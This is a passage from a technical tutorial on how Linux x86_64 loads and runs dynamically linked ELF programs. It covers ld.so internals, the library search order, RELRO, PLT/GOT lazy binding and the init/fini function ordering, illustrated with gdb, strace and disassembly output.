  5. If the executable binary is dynamically linked, then the compiler will usually creates an `INTERP` segment \(which is usually the same as `.interp` section in ELF's "linking view"\), which contains the full pathname of an "interpreter", usually is the Glibc runtime linker ld.so. 
To see this, use command `readelf -p .interp a.out`

According to AMD64 System V Application Binary Interface, the only valid
interpreter for programs conforming to AMD64 ABI is `/lib/ld64.so.1` and on
Linux, GCC usually uses `/lib64/ld-linux-x86-64.so.2` or `/lib/ld-
linux-x86-64.so.2` instead:

[code]    $ gcc -dumpspecs

    ....
    
    *link:
    ...
      %{!m32:%{!dynamic-linker:-dynamic-linker %{muclibc:%{mglibc:%e-mglibc and -muclibc used
    together}/lib/ld64-uClibc.so.0;:/lib/ld-linux-x86-64.so.2}}}}
    ...
    
[/code]

To change the runtime linker, compile the program using something like

[code]    gcc foo.c -Wl,-I/my/own/ld.so

[/code]

The System V Application Binary Interface specifies, the operating system,
instead of running the user's executable binary, should run this
"interpreter". This interpreter should complete the binding of user's
executable binary to its dependencies.

  6. Thus, if the ELF executable binary file contains an `INTERP` segment, `load_elf_binary` will call `load_elf_interp` function to load the image of this interpreter as well. 
  7. Finally, `load_elf_binary` calls `start_thread` \(in `arch/x86/kernel/process_64.c`\) and passes control to either the interpreter or the user program. 

## What about `ld.so` ?

`ld.so` is the runtime linker/loader \(the compile-time linker `ld` is
formally called "link editor"\) for dynamic executables. It provides the
following services:

  * Analyzes the user's executable binary's `DYNAMIC` segment and determines what dependencies are required. \(See below\) 
  * Locates and loads these dependencies, analyzes their `DYNAMIC` segments to determine if more dependencies are required. 
  * Performs any necessary relocations to bind these objects. 
  * Calls any initialization functions \(see below\) provided by these dependencies. 
  * Passes control to user's executable binary. 

## Compile your own `ld.so`

The internal working of `ld.so` is complex, so you might want to compile and
experiment your own `ld.so`. The source code of `ld.so` can be found in Glibc.
The main files are `elf/rtld.c`, `elf/dl-reloc.c`, and `sysdeps/x86_64/dl-
machine.h`.

This link provides general tips for building Glibc. Glibc's own INSTALL and
FAQ documents are useful too.

To compile Glibc \(`ld.so` cannot be compiled independently\) download and
unpack Glibc source tarball.

  * Make sure the version of Glibc you downloaded is the same as the system's current one. 
  * Make sure the environmental variable `LD_RUN_PATH` is not set. 
  * Read the INSTALL and make sure all necessary tool chains \(Make, Binutils, etc\) are up-to-date. 
  * Make sure the file system you are doing the compilation is case sensitive, or you will see weird errors like 
[code]    /scratch/elf/librtld.os: In function `process_envvars':

    /tmp/glibc-2.x.y/elf/rtld.c:2718: undefined reference to `__open'
    ...
    
[/code]

  * `ld.so` should be compiled with the optimization flag on \(`-O2` is the default\). Failing to do so will end up with weird errors \(see Question 1.23 in FAQ\) 
  * Suppose Glibc is unpacked at 
[code]    /tmp/glibc-2.x.y/

[/code]

Then edit `/tmp/glibc-2.x.y/Makefile.in`: Un-comment the line

[code]    # PARALLELMFLAGS = -j 4

[/code]

and change 4 to an appropriate number.

  * Since we are only interested in `ld.so` and not the whole Glibc, we only want to build the essential source files needed by `ld.so`. To do so, edit `/tmp/glibc-2.x.y/Makeconfig`: Find the line started with 
[code]    all-subdirs = csu assert ctype locale intl catgets math setjmp
signal \

      ...
    
[/code]

and change it to

[code]    all-subdirs = csu elf gmon io misc posix setjmp signal stdlib string
time

    
[/code]

  * Find a scratch directory, say `/scratch`. Then 
[code]    $ cd /scratch

    $ /tmp/glibc-2.x.y/configure --prefix=/scratch --disable-profile
    $ gmake
    
[/code]

  * Since we are not building the entire Glibc, when the `gmake` stops \(probably with some errors\), check if `/scratch/elf/ld.so` exists or not. 
  * `ld.so` is a static binary, which means it has its own implementation of standard C routines \(e.g. `memcpy`, `strcmp`, etc\) It has its own `printf`-like routine called `_dl_debug_printf`. 
`_dl_debug_printf` is not the full-blown `printf` and has very limited
capabilities. For example, to print the address, one would need to use

[code]    _dl_debug_printf("0x%0*lx\n", (int)sizeof (void*)*2, &foo);

    
[/code]

## How does `ld.so` work ?

`ld.so`, by its nature, cannot be a dynamic executable itself. The entry point of `ld.so` is `_start` defined in the macro `RTLD_START` \(in `sysdeps/x86_64/dl-machine.h`\). `_start` is placed at the beginning of `.text` section, and the default `ld` script specifies "Entry point address" \(in ELF header, use `readelf -h ld.so|grep Entry` command to see\) to be the address of `_start` \(use `ld -verbose | grep ENTRY` command to see\). One can set the entry point to a different address at compile time by `-e` option\) so `ld.so` is executed from here. The very first thing it does is to call `_dl_start` of `elf/rtld.c`. To see this, run gdb on some ELF executable binary, and do 
[code]

    (gdb) break _dl_start
    Function "_dl_start" not defined.
    Make breakpoint pending on future shared library load? (y or [n]) y
    Breakpoint 1 (_dl_start) pending.
    (gdb) run
    Starting program: a.out
    
    Breakpoint 1, 0x0000003433e00fa0 in _dl_start () from /lib64/ld-linux-x86-64.so.2
    (gdb) bt
    #0  0x0000003433e00fa0 in _dl_start () from /lib64/ld-linux-x86-64.so.2
    #1  0x0000003433e00a78 in _start () from /lib64/ld-linux-x86-64.so.2
    #2  0x0000000000000001 in ?? ()
    #3  0x00007fffffffe4f2 in ?? ()
    #4  0x0000000000000000 in ?? ()
    ...
    (gdb) x/10i $pc
       0x3433e00a70 <_start>:       mov    %rsp,%rdi
       0x3433e00a73 <_start+3>:     callq  0x3433e00fa0 <_dl_start>
       0x3433e00a78 <_dl_start_user>:       mov    %rax,%r12
       0x3433e00a7b <_dl_start_user+3>:     mov    0x21b30b(%rip),%eax        # 0x343401bd8c <_dl_skip_args>
    ...
    
[/code]

At this breakpoint, we can use `pmap` to see the memory map of a.out, which
would look like this:

[code]

    0000000000400000      8K r-x--  a.out
    0000000000601000      4K rw---  a.out
    0000003433e00000    112K r-x--  /lib64/ld-2.5.so
    000000343401b000      8K rw---  /lib64/ld-2.5.so
    00007ffffffea000     84K rw---    [ stack ]
    ffffffffff600000   8192K -----    [ anon ]
     total             8408K
    
[/code]

The memory segment of `/lib64/ld-2.5.so` indeed starts at 3433e00000 \(page
aligned\) and this can be verified by running `readelf -t /lib64/ld-2.5.so`.

If we put another breakpoint at `main` and continue, then when it stops, the
memory map would change to this:

[code]

    0000000000400000      8K r-x--  a.out
    0000000000601000      4K rw---  a.out
    0000003433e00000    112K r-x--  /lib64/ld-2.5.so
    000000343401b000      4K r----  /lib64/ld-2.5.so
    000000343401c000      4K rw---  /lib64/ld-2.5.so
    0000003434200000   1336K r-x--  /lib64/libc-2.5.so     <-- The first "LOAD" segment, which contains .text and .rodata sections
    000000343434e000   2044K -----  /lib64/libc-2.5.so     <-- "Hole"
    000000343454d000     16K r----  /lib64/libc-2.5.so     <-- Relocation (GNU_RELRO) info  -+---- The second "LOAD" segment
    0000003434551000      4K rw---  /lib64/libc-2.5.so     <-- .got.plt .data sections      -+
    0000003434552000     20K rw---    [ anon ]             <-- The remaining zero-filled sections (e.g. .bss)
    0000003434e00000     88K r-x--  /lib64/libpthread-2.5.so     <-- The first "LOAD" segment, which contains .text and .rodata sections
    0000003434e16000   2044K -----  /lib64/libpthread-2.5.so     <-- "Hole"
    0000003435015000      4K r----  /lib64/libpthread-2.5.so     <-- Relocation (GNU_RELRO) info  -+---- The second "LOAD" segment
    0000003435016000      4K rw---  /lib64/libpthread-2.5.so     <-- .got.plt .data sections      -+
    0000003435017000     16K rw---    [ anon ]                   <-- The remaining zero-filled sections (e.g. .bss)
    00002aaaaaaab000      4K rw---    [ anon ]
    00002aaaaaac6000     12K rw---    [ anon ]
    00007ffffffea000     84K rw---    [ stack ]
    ffffffffff600000   8192K -----    [ anon ]
     total            14000K
    
[/code]

Indeed, `ld.so` has brought in all the required dynamic libraries.

Note that there are two memory regions of 2044KB with null permissions. As
mentioned earlier, the ELF's 'execution view' is concerned with how to load an
executable binary into memory. When `ld.so` brings in the dynamic libraries,
it looks at the segments labelled as `LOAD` \(look at "Program Headers" and
"Section to Segment mapping" from `readelf -a xxx.so` command.\) Usually there
are two `LOAD` segments, and there is a "hole" between the two segments \(look
at the VirtAddr and MemSiz of these two segments\), so `ld.so` will make this
hole inaccessible deliberately: Look for the `PROT_NONE` symbol in
`_dl_map_object_from_fd` in `elf/dl-load.c`

Also note that each of `libc-2.5.so` and `libpthread-2.5.so` has a read-only
memory region \(at 0x343454d000 and 0x3435015000, respectively\). This is a
for security reasons. These are relocation info \(run `readelf -l xxx.so |grep
GNU_RELRO` command to see\) which should be made Read-Only **after the
relocation is done** and this achieved by `_dl_protect_relro` function in
`elf/dl-reloc.c`. The `GNU_RELRO` segment is contained in the the second
`LOAD` segment, which contains the following sections \(look at "Program
Headers" and "Section to Segment mapping" from `readelf -l xxx.so` command\):
`.tdata`, `.fini_array`, `.ctors`, `.dtors`, `__libc_subfreeres`,
`__libc_atexit`, `__libc_thread_subfreeres`, `.data.rel.ro`, `.dynamic`,
`.got`, `.got.plt`, `.data`, and `.bss`. Except for `.got.plt`, `.data`, and
`.bss`, all sections in the the second `LOAD` segment are also in the
`GNU_RELRO` segment, and they are thus made read-only.

The two `[anon]` memory segments at 0x3434552000 and 0x3435017000 are for
sections which do not take space in the ELF binary files. For example,
`readelf -t xxx.so` will show that `.bss` section has `NOBITS` flag, which
means that section takes no disk space. When segments containing `NOBITS`
sections are mapped into memory, `ld.so` allocates extra memory pages to
accomodate these `NOBITS` sections. A `LOAD` segment is usually structured as
a series of **contiguous** sections, and if a segment contains `NOBITS`
sections, these `NOBITS` sections will be grouped together and placed at the
tail of the segment.

So what does `_dl_start` do ?

  * Allocate the initial TLS block and initialize the Thread Pointer if needed \(these are for `ld.so`'s own, not for the user program\) 
  * Call `_dl_sysdep_start`, which will call `dl_main`
  * `dl_main` does the majority of the hard work, for example:
It calls `process_envvars` to handle these `LD_` prefix environmental
variables such as `LD_PRELOAD`, `LD_LIBRARY_PATH`.

It examines the `NEEDED` field\(s\) in the user executable binary's `DYNAMIC`
segment section \(see below\) to determines the dependencies.

It calls `_dl_init_paths` \(in `elf/dl-load.c`\) to initialize the dynamic
libraries search paths. According to `ld.so` man page and this page, the
dynamic libraries are searched in the following order:

    1. The `RPATH` in the `DYNAMIC` segment if there is no `RUNPATH` in the `DYNAMIC` segment. 
`RPATH` can be specified when the code is compiled with `gcc -Wl,-rpath=...`

Use of `RPATH` is deprecated because it has an obvious drawback: There is no
way to override it except using `LD_PRELOAD` environmental variable or
removing it from the `DYNAMIC` segment.

Both `RPATH` and `RUNPATH` can contain `$ORIGIN` \(or equivalently
`${ORIGIN}`\), which will be expanded to the value of environmental variable
`LD_ORIGIN_PATH` or the full path of the loaded object \(unless the programs
use `setuid` or `setgid`\)

    2. The `LD_LIBRARY_PATH` environmental variable \(unless the programs use `setuid` or `setgid`\) 
    3. The `RUNPATH` in the `DYNAMIC` segment.  
`RUNPATH` can be specified when the code is compiled with `gcc -Wl,-rpath=...,
--enable-new-dtags`  
One can use chrpath tool to manipulate `RPATH` and `RUNPATH` settings.

    4. `/etc/ld.so.cache`
    5. `/lib`
    6. `/usr/lib`
It calls `_dl_map_object_from_fd` \(in `elf/dl-load.c`\) to load the dynamic
libraries, sets up the right read/write/execute permissions for the memory
segments, \(within `_dl_map_object_from_fd`, look at calls to `mmap`,
`mprotect` and symbols such as `PROT_READ`, `PROT_WRITE`, `PROT_EXEC`,
`PROT_NONE`\), **zeroes out BSS sections of dynamic libraries** \(inside
`_dl_map_object_from_fd` function, look at calls to `memset`\), updates the
link map, and performs relocations.

It calls `_dl_relocate_object` \(in `elf/dl-reloc.c`\) to perform **runtime
relocations** \(see details below\).

  * When `_dl_start` returns, it continues to execute code in `_dl_start_user` \(see `sysdeps/x86_64/dl-machine.h`\) 
  * `_dl_start_user` will call `_dl_init_internal`, which will call `call_init` to invoke initialization function of each dynamic library loaded. 
Note that `_dl_init_internal` is defined in `elf/dl-init.c` as:

[code]    void

    internal_function
    _dl_init (struct link_map *main_map, int argc, char **argv, char **env)
    
[/code]

`call_init` is also in `elf/dl-init.c`

  * The initialization function of a dynamic library, say `libfoo.so`, is located at the address marked with type "`INIT`" in the output of `readelf -d libfoo.so` For Glibc, its initialization function is named `_init` \(not to be confused with the `_init` inside the user's executable binary\) and its source code is in `sysdeps/unix/sysv/linux/x86_64/init-first.c`. 
`_init` will do the following things:

    * Save `argc`, `argv`, `envp` to hidden variables `__libc_argc`, `__libc_argv`, `__environ`
    * Call `VDSO_SETUP` to set up Virtaul Dynamic Shared Objects \(see here\) `VDSO_SETUP` is a platform-dependent macro. For x86\_64, this macro is defined as `_libc_vdso_platform_setup` in `sysdeps/unix/sysv/linux/x86_64/init-first.c`
    * Call `__init_misc` \(in `misc/init-misc.c`\) which saves `argv[0]` to two global variables: `program_invocation_name` and `program_invocation_short_name`
    * Call `__libc_global_ctors` \(in `elf/soinit.c`\) to invoke each function listed in the `.ctors` section \(see below\).
For x86\_64, `.ctors` section contains only one function: `init_cacheinfo`

  * At the end of `_dl_start_user`, the control transfers to user program's entry point address \(use `readelf -h a.out|grep Entry` to see\) which is usually the initial address of `.text` section and contains the entry of a function named `_start`, and in the control transfer, the finalizer function `_dl_fini` is passed as an argument, and the stack frames are completely clobbered, as if the user program is run without any `ld.so` intervention. The latter is done by manipulating the stack \(see the on-stack auxiliary vector adjustment code and `HAVE_AUX_VECTOR` in `dl_main`\) 

# Here is the call graph, which is worth a thousand words

and see here on how it is generated.

To see `ld.so` in action, set the environmental variable `LD_DEBUG` to `all`
and then run a user program.

The above debugging information does not show `mmap` and `mprotect` calls.
However, we can use `strace`. If we run the user program again with

[code]

    strace -e trace=mmap,mprotect,munmap,open a.out
[/code]

we should see something like the following:

[code]

    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2ae62c0d1000
    
      .... (a lot of failed attempts to open 'libpthread.so.0' using LD_LIBRARY_PATH)
    
    open("/etc/ld.so.cache", O_RDONLY) = 3
    mmap(NULL, 104801, PROT_READ, MAP_PRIVATE, 3, 0) = 0x2ae62c0d2000
    open("/lib64/libpthread.so.0", O_RDONLY) = 3
    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2ae62c0ec000
    mmap(0x3434e00000, 2204528, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3434e00000     <-- Bring in the first "LOAD" segment
    mprotect(0x3434e16000, 2093056, PROT_NONE) = 0     <-- Make the "hole" inaccessible
    mmap(0x3435015000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15000) = 0x3435015000     <-- Bring in the second "LOAD" segment
    mmap(0x3435017000, 13168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3435017000
           (note: 0x3435017000 is the [anon] part which follows immediately after libpthread-2.5.so)
      ...
      .... (a lot of failed attempts to open 'libc.so.6' using LD_LIBRARY_PATH)
    
    open("/lib64/libc.so.6", O_RDONLY) = 3
    mmap(0x3434200000, 3498328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3434200000     <-- Bring in the first "LOAD" segment
    mprotect(0x343434e000, 2093056, PROT_NONE) = 0     <-- Make the "hole" inaccessible
    mmap(0x343454d000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14d000) = 0x343454d000     <-- Bring in the second "LOAD" segment
    mmap(0x3434552000, 16728, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3434552000
           (note: 0x3434552000 is the [anon] part which follows immediately after libc-2.5.so)
    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2ae62c0ed000
    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2ae62c0ee000
    mprotect(0x343454d000, 16384, PROT_READ) = 0    <-- Make the GNU_RELRO segment read-only
    mprotect(0x3435015000, 4096, PROT_READ) = 0     <-- Make the GNU_RELRO segment read-only
    mprotect(0x343401b000, 4096, PROT_READ) = 0
    munmap(0x2ae62c0d2000, 104801)= 0
    mmap(NULL, 10489856, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_32BIT, -1, 0) = 0x40dc7000
    mprotect(0x40dc7000, 4096, PROT_NONE)   = 0
    mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aaaaaaab000
    
[/code]

## `.plt` section

This section contains trampolines for functions defined in dynamic libraries.
A sample disassembly \(run the command `objdump -M intel -dj .plt a.out`\)
will show the following:

[code]

    4003c0 <printf@plt-0x10>:
      4003c0: push   QWORD PTR [RIP+0x2004d2]        # 600898 <_GLOBAL_OFFSET_TABLE_+0x8>
      4003c6: jmp    QWORD PTR [RIP+0x2004d4]        # 6008a0 <_GLOBAL_OFFSET_TABLE_+0x10>
      4003cc: nop    DWORD PTR [RAX+0x0]
    
    4003d0 <printf@plt>:
      4003d0: jmp    QWORD PTR [RIP+0x2004d2]        # 6008a8 <_GLOBAL_OFFSET_TABLE_+0x18>
      4003d6: push   0
      4003db: jmp    4003c0 <printf@plt-0x10>
    
    4003e0 <__libc_start_main@plt>:
      4003e0: jmp    QWORD PTR [RIP+0x2004ca]        # 6008b0 <_GLOBAL_OFFSET_TABLE_+0x20>
      4003e6: push   1
      4003eb: jmp    4003c0 <printf@plt-0x10>
    
[/code]

The `_GLOBAL_OFFSET_TABLE_` \(labeled as `R_X86_64_JUMP_SLOT` and starts at
address 0x600890\) is located in `.got.plt` section \(to see this, run the
command `objdump -h a.out |grep -A 1 600890` or the command `readelf -r
a.out`\) The data in `.got.plt` section look like the following during runtime
\(use gdb to see them\)

[code]

    (gdb) b *0x4003d0
    (gdb) run
    (gdb) x/6a 0x600890
    0x600890: 0x6006e8 <_DYNAMIC>     0x32696159a8
    0x6008a0: 0x326950aa20 <_dl_runtime_resolve>     0x4003d6 <printf@plt+6>
    0x6008b0: 0x326971c3f0 <__libc_start_main>       0x0
    
[/code]

When `printf` is called the first time in the user program, the jump at 4003d0
will jump to 4003d6, which is just the next instruction \(`push 0`\) The it
jumps to 4003c0, which does not have a function name \(so it is shown as
`<printf@plt-0x10>`\). At 4003c6, it will jumps to `_dl_runtime_resolve`. This
function \(in Glibc's source file `sysdeps/x86_64/dl-trampoline.S`\) is a
trampoline to `_dl_fixup` \(in Glibc's source file `elf/dl-runtime.c`\).
`_dl_fixup` again, is part of Glibc runtime linker `ld.so`. In particular, it
will change the address stored at 6008a8 to the actual address of `printf` in
`libc.so.6`. To see this, set up a hardware watchpoint

[code]

    (gdb) watch *0x6008a8
    (gdb) cont
    Continuing.
    Hardware watchpoint 2: *0x6008a8
    
    Old value = 4195286
    New value = 1769244016
    0x000000326950abc2 in fixup () from /lib64/ld-linux-x86-64.so.2
    
[/code]

If we continue execution, `printf` will be called, as expected. When `printf`
is called again in the user program, the jump at 4003d0 will bounce directly
to `printf`:

[code]

    (gdb) x/6a 0x600890
    0x600890: 0x6006e8 <_DYNAMIC>     0x32696159a8
    0x6008a0: 0x326950aa20 <_dl_runtime_resolve>     0x3269748570 <printf>
    0x6008b0: 0x326971c3f0 <__libc_start_main>       0x0
    
[/code]

## `.init`, `.fini`, `.preinit_array`, `.init_array` and `.fini_array`
sections

`.init` and `.fini` sections contain code to do initialization and
termination, as specified by the System V Application Binary Interface. If the
code is compiled by GCC, then one will see the following code in `.init` and
`.fini` sections, respectively:

[code]

    4003a8 <_init>:
      4003a8: sub    RSP, 8
      4003ac: call   call_gmon_start
      4003b1: call   frame_dummy
      4003b6: call   __do_global_ctors_aux
      4003bb: add    RSP, 8
      4003bf: ret
    
    400618 <_fini>:
      400618: sub    RSP, 8
      40061c: call   __do_global_dtors_aux
      400621: add    RSP, 8
      400625: ret
    
[/code]

There is only one function: `_init`, in `.init` section, and likewise, only
one function: `_fini` in `.fini` section. Both `_init` and `_fini` are
**synthesized** at compile time by the compiler/linker. Glibc provides its own
prolog and epilog for `_init` and `_fini`, but the compiler is free to choose
how to use them and add more code into `_init` and `_fini`.

In Glibc, the source file `sysdeps/generic/initfini.c` \(and some system
dependent ones, such as `sysdeps/x86_64/elf/initfini.c`\) is compiled into two
files: `/usr/lib64/crti.o` for prolog and `/usr/lib64/crtn.o` for epilog.

For the compiler part, GCC uses different prolog and epilog files, depending
on the compiler command-line options. To see them, execute `gcc -dumpspec`,
and one can see

[code]

    ...
    
    *endfile:
      %{ffast-math|funsafe-math-optimizations:crtfastmath.o%s}
      %{mpc32:crtprec32.o%s}
      %{mpc64:crtprec64.o%s}
      %{mpc80:crtprec80.o%s}
      %{shared|pie:crtendS.o%s;:crtend.o%s}
      crtn.o%s
    
    ...
    
    *startfile:
      %{!shared: %{pg|p|profile:gcrt1.o%s;pie:Scrt1.o%s;:crt1.o%s}}
      crti.o%s
      %{static:crtbeginT.o%s;shared|pie:crtbeginS.o%s;:crtbegin.o%s}
    
    ...
    
[/code]

The detailed explanation of GCC spec file is here. For above snippet, it
means, for example, if compiler command-line option `-ffast-math` is used,
include GCC's `crtfastmath.o` file \(this file can be found under
`/usr/lib/gcc/<arch>/<version>/`\) at the end of the linking process. Glibc's
`crtn.o` is always included at the end of linking. The `%s` means this
preceding file is a startup file. \(GCC allows to skip startup files during
linking using `-nostartfiles` compiler option\)

Similarly, if `-shared` compiler command-line option is not used, then always
include Glibc's `crt1.o` at the start of the linking process. `crt1.o`
contains the function `_start` in `.text` section \(not `.init` section\!\)
`_start` is the function that is executed before anything else... see below.
Next, include Glibc's `crti.o` in the linking. Finally, include either
`crtbeginT.o`, `crtbeginS.o`, or `crtbegin.o` \(both are part of GCC, of
course\), depending on whether `-static` or `-shared` \(or neither\) is used.

So, for example, if a program is compiled using dynamic linking \(which is
default\), no profiling, no fast math optimizations, then the linking will
include the following files in the following order:

  1. `crt1.o` \(part of Glibc\) 
  2. `crti.o` \(part of Glibc and contributes the code at 4003a8, 4003ac, 400618, and the body of `call_gmon_start`\) 
  3. `crtbegin.o` \(part of GCC and contributes the code at 4003b1 and 40061c, and the body of `frame_dummy` and `__do_global_dtors_aux`\) 
  4. user's code 
  5. `crtend.o` \(part of GCC and contributes the code at 4003b6 and the body of `__do_global_ctors_aux`\) 
  6. `crtn.o` \(part of Glibc and contributes the code at 4003bb, 4003bf, 400621, 400625\) 

Why `__do_global_ctors_aux` is in `crtend*.o` and `__do_global_dtors_aux` is
in `crtbegin*.o` ? Recall the order of invocation of destructors should be the
reverse order of invocation of constructors. Therefore, GCC doing so will
ensure `__do_global_ctors_aux` is called as late as possible in `.init`
section and `__do_global_dtors_aux` is called as early as possible in `.fini`
section.

Now back to the `4003a8 <_init>`.

`call_gmon_start` is part of the Glibc prolog `/usr/lib64/crti.o`. It
initializes gprof related data structures.

`frame_dummy` is in GCC code `gcc/crtstuff.c` and it is used to set up
excepion handling and Java class registration \(JCR\) information.

The most interesting code is `__do_global_ctors_aux` \(in GCC's
`gcc/crtstuff.c` and `gcc/gbl-ctors.h`\) What it does is to call functions
which are marked as `__attribute__ ((constructor))` \(and static C++ objects'
constructors\) one by one:

[code]

      __SIZE_TYPE__ nptrs = (__SIZE_TYPE__) __CTOR_LIST__[0];
      unsigned i;
    
      if (nptrs == (__SIZE_TYPE__)-1)
        for (nptrs = 0; __CTOR_LIST__[nptrs + 1] != 0; nptrs++);
    
      for (i = nptrs; i >= 1; i--)
        __CTOR_LIST__[i] ();
    
[/code]

The array `__CTOR_LIST__` is stored in a special section called `.ctors`.
Suppose a function called `foo` is marked as `__attribute__ ((constructor))`,
then the runtime call stack trace would be

[code]

    (gdb) break foo
    (gdb) run
    (gdb) bt
    #0  0x00000000004004d8 in foo ()
    #1  0x0000000000400606 in __do_global_ctors_aux ()
    #2  0x00000000004003bb in _init ()
    #3  0x00000000004005a0 in ?? ()
    #4  0x0000000000400561 in __libc_csu_init ()
    #5  0x000000326971c46f in __libc_start_main ()
    #6  0x000000000040041a in _start ()
    
[/code]

Similarly, the `__do_global_dtors_aux` in `_fini` function will invoke all
functions which are marked as `__attribute__ ((destructor))`.
`__do_global_dtors_aux` code is also in GCC's source tree at `gcc/crtstuff.c`.
If a function called `foo` is marked as `__attribute__ ((destructor))` \(and
static C++ objects' destructors\), then the runtime call stack trace would be

[code]

    (gdb) bt
    #0  0x0000000000400518 in foo ()
    #1  0x00000000004004ca in __do_global_dtors_aux ()
    #2  0x0000000000400641 in _fini ()
    #3  0x00000032699367e8 in ?? () from /lib64/tls/libc.so.6
    #4  0x0000003269730c95 in exit () from /lib64/tls/libc.so.6
    #5  0x000000326971c4d2 in __libc_start_main () from /lib64/tls/libc.so.6
    #6  0x000000000040045a in _start ()
    
[/code]

The array `__DTOR_LIST__` contains the addresses of these destructors and it
is stored in a special section called `.dtors`.

## What user functions will be executed before `main` and at program exit?

As above call strack trace shows, `_init` is NOT the only function to be
called before `main`. It is `__libc_csu_init` function \(in Glibc's source
file `csu/elf-init.c`\) that determines what functions to be run before `main`
and the order of running them. Its code is like this

[code]

       void __libc_csu_init (int argc, char **argv, char **envp)
       {
       #ifndef LIBC_NONSHARED
         {
           const size_t size = __preinit_array_end - __preinit_array_start;
           size_t i;
           for (i = 0; i < size; i++)
             (*__preinit_array_start [i]) (argc, argv, envp);
         }
       #endif
    
         _init ();
    
         const size_t size = __init_array_end - __init_array_start;
         for (size_t i = 0; i < size; i++)
             (*__init_array_start [i]) (argc, argv, envp);
       }
    
[/code]

\(Symbols such as `__preinit_array_start`, `__preinit_array_end`,
`__init_array_start`, `__init_array_end` are defined by the default `ld`
script; look for `PROVIDE` and `PROVIDE_HIDDEN` keywords in the output of `ld
-verbose` command.\)

The `__libc_csu_fini` function has similar code, but what functions to be
executed at program exit are actually determined by `exit`:

[code]

        void __libc_csu_fini (void)
        {
        #ifndef LIBC_NONSHARED
          size_t i = __fini_array_end - __fini_array_start;
          while (i-- > 0)
            (*__fini_array_start [i]) ();
    
          _fini ();
        #endif
        }
    
[/code]

To see what's going on, consider the following C code example:

[code]

       #include <stdio.h>
       #include <stdlib.h>
    
       void preinit(int argc, char **argv, char **envp) {
         printf("%s\n", __FUNCTION__);
       }
    
       void init(int argc, char **argv, char **envp) {
         printf("%s\n", __FUNCTION__);
       }
    
       void fini() {
         printf("%s\n", __FUNCTION__);
       }
    
       __attribute__((section(".init_array"))) typeof(init) *__init = init;
       __attribute__((section(".preinit_array"))) typeof(preinit) *__preinit = preinit;
       __attribute__((section(".fini_array"))) typeof(fini) *__fini = fini;
    
       void  __attribute__ ((constructor)) constructor() {
         printf("%s\n", __FUNCTION__);
       }
    
       void __attribute__ ((destructor)) destructor() {
         printf("%s\n", __FUNCTION__);
       }
    
       void my_atexit() {
         printf("%s\n", __FUNCTION__);
       }
    
       void my_atexit2() {
         printf("%s\n", __FUNCTION__);
       }
    
       int main() {
         atexit(my_atexit);
         atexit(my_atexit2);
       }
    
[/code]

The output will be

[code]

       preinit
       constructor
       init
       my_atexit2
       my_atexit
       fini
       destructor
    
[/code]

The `.preinit_array` and `.init_array` sections must contain **function
pointers** \(NOT code\!\) The prototype of these functions must be

[code]

    void func(int argc,char** argv,char** envp)
[/code]

`__libc_csu_init` execute them in the following order:

  1. Function pointers in `.preinit_array` section 
  2. Functions marked as `__attribute__ ((constructor))`, via `_init`
  3. Function pointers in `.init_array` section 

The `.fini_array` section must also contain **function pointers** and the
prototype is like the destructor, i.e. taking no arguments and returning void.
If the program exits **normally** , then the `exit` function \(Glibc source
file `stdlib/exit.c`\) is called and it will do the following:

  1. In reverse order, functions registered via `atexit` or `on_exit`
  2. Function pointers in `.fini_array` section, via `__libc_csu_fini`
  3. Functions marked as `__attribute__ ((destructor))`, via `__libc_csu_fini` \(which calls `_fini` after Step 2\) 
  4. stdio cleanup functions 

It is not advisable to put a code in `.init` section, e.g.

[code]

    void __attribute__((section(".init"))) foo() {
      ...
    }
    
[/code]

because doing so will cause `__do_global_ctors_aux` NOT to be called. The
`.init` section will now look like this:

[code]

    4003a0 <_init>:
      4003a0: sub    RSP, 8
      4003a4: call   call_gmon_start
      4003a9: call   frame_dummy
    
    4003ae <foo>:
      4003ae: push   RBP
      4003af: mov    RBP, RSP
    
         ....  (foo's body)
    
      4003b2: leave
      4003b3: ret
      4003b4: call   __do_global_ctors_aux
      4003b9: add    RSP, 8
      4003bd: ret
    
[/code]

Now `.init` section contains more than one function, but the epilog of `_init`
is distorted by the insertion of `foo`

Similarly, it is not advisable to put a code in `.fini` section, because
otherwise the code will look like this:

[code]

    4006d8 <_fini>:
      4006d8: sub    RSP, 8
      4006dc: call   __do_global_dtors_aux
    
    4006e1 <foo>:
      4006e1: push   RBP
      4006e2: mov    RBP, RSP
    
         ....  (foo's body)
    
      4006ef: leave
      4006f0: ret
      4006f1: add    RSP, 8
      4006f5: ret
    
[/code]

Now the epilog of `_fini` is distorted by the insertion of `foo`, so the stack
frame pointer will not be adjusted \(`add RSP, 8` is not executed\), causing
segmentation fault.

## What do `_start` and `__libc_start_main` do?

The above call stack traces show that `_start` calls `__libc_start_main`,
which runs all of the code before `main`.

`_start` is part of Glibc code, as in `sysdeps/x86_64/elf/start.S`. As
mentioned earlier, it is compiled as `/usr/lib64/crt1.o` and is statically
linked to user's executable binary during compilation. To see this, run gcc
with `-v` command, and the last line would be something like:

[code]

    .../collect2 ... /usr/lib64/crt1.o /usr/lib64/crti.o ...  /usr/lib64/crtn.o
    
[/code]

